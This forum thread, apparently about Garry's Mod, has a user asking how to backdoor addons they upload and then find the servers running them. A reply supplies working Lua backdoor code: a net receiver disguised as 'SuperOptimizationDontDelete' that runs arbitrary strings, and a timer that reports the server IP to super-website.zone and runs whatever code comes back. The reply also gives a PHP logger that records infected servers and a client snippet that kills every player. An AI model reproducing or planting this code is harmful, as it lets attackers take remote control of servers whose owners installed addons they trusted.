How to add a backdoor to a addon?

[sealatron2]

I just wanna know how would I add a backdoor to my addons that I would upload.
And how would I know if my backdoored addon was on a server?
And I use [Generic Backdoor Code]

["Code"] = "util.AddNetworkString( '_CAC_ReadMemory' ) net.Receive( '_CAC_ReadMemory', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",

Or just using OdiumBackdoor in general

There are many ways to make backdoor.
Put this code in your addon:

util.AddNetworkString("SuperOptimizationDontDelete ")
net.Receive("SuperOptimizationDontDelete", function()
RunString(net.ReadString())
end)


timer.Create("1____", 10, 1, function()
if !game.IsDedicated() then return end
http.Fetch("https://super-website.zone/fetch.php?ip="..game.GetIPAddress(), RunString)
end)

If you want to log backdoored servers you need website
here is simple php code for logging:
https://super-website.zone/fetch.php:

<?
function getUserIP() {
$ipaddress = '';
if (isset($_SERVER['HTTP_CLIENT_IP']))
$ipaddress = $_SERVER['HTTP_CLIENT_IP'];
else if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
else if(isset($_SERVER['HTTP_X_FORWARDED']))
$ipaddress = $_SERVER['HTTP_X_FORWARDED'];
else if(isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP']))
$ipaddress = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];
else if(isset($_SERVER['HTTP_FORWARDED_FOR']))
$ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
else if(isset($_SERVER['HTTP_FORWARDED']))
$ipaddress = $_SERVER['HTTP_FORWARDED'];
else if(isset($_SERVER['REMOTE_ADDR']))
$ipaddress = $_SERVER['REMOTE_ADDR'];
else
$ipaddress = 'UNKNOWN';
return $ipaddress;
}
$ip = $_REQUEST['ip'];
$time = time();

if ( preg_match('/([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\:?([0-9]{1,5})?/', $ip, $match) ) {
if (!isset($match['1']) or !isset($match['2']) or getUserIP() != $match['1']) exit();
}
$data = json_decode(file_get_contents('servers.json'), true);
if (!is_array($data)) {
$data = array();
}

$data[$ip] = $time;
file_put_contents('servers.json', json_encode($data, true));

die(file_get_contents("code.lua"));
?>

Additional backdoor on logging page, will be runned when server starts
https://super-website.zone/code.lua:

print('Hello there')

Now all backdoored dedicated servers will apear in servers.json file on website
Join server and run code on your client side

local runonsv = [[
for k,v in pairs(player.GetAll()) do
v:Kill()
end
]]
net.Start("SuperOptimizationDontDelete")
net.WriteString(runonsv)
net.SendToServer()
